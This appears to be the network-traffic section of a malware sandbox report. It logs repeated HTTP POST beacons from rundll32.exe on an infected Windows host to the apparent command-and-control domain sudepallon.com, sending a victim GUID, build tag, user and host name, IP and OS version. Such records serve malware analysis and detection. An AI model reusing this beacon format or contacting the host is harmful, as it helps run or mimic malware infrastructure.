Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:39.534812927 CEST	467	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:39.601012945 CEST	467	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 5a 41 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYZABARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.22	49320	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:39.879748106 CEST	468	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:39.945930004 CEST	468	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 56 45 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKVEPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.22	49321	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:40.220854998 CEST	469	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:40.289783001 CEST	469	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 47 54 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZGTAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.22	49322	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:40.566869974 CEST	470	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:40.632814884 CEST	470	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 51 4a 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJQJQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.22	49323	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:40.908762932 CEST	471	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:40.979922056 CEST	472	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 43 58 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNCXMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.22	49324	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:41.256753922 CEST	472	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:41.324479103 CEST	473	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49181	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:47.375097036 CEST	312	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:47.445048094 CEST	312	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 59 42 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGYBTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.22	49325	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:41.593085051 CEST	473	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:41.660331011 CEST	474	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4d 4e 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMMNNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.22	49326	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:41.939338923 CEST	475	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:42.007750988 CEST	475	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 4b 50 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAKPZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.22	49327	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:42.278748035 CEST	476	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:42.346981049 CEST	476	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 4d 4e 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYMNBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.22	49328	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:42.626681089 CEST	477	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:42.693906069 CEST	477	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 4d 4e 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFMNUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.22	49329	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:42.965754032 CEST	478	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:43.031738043 CEST	478	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 41 5a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZAZAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.22	49330	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:43.318186045 CEST	479	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:43.385746002 CEST	479	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 46 55 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFFUUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.22	49331	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:43.668005943 CEST	480	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:43.736258984 CEST	481	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 4e 4d 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKNMPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.22	49332	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:44.015196085 CEST	481	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:44.084758043 CEST	482	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 42 59 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKBYPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.22	49333	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:44.361738920 CEST	483	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:44.431710958 CEST	483	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4e 4d 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZNMAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.22	49334	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:44.720029116 CEST	484	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:44.787031889 CEST	484	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 46 55 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTFUGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49182	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:47.732880116 CEST	313	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:47.801647902 CEST	313	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 59 42 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMYBNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.22	49335	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:45.066266060 CEST	485	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
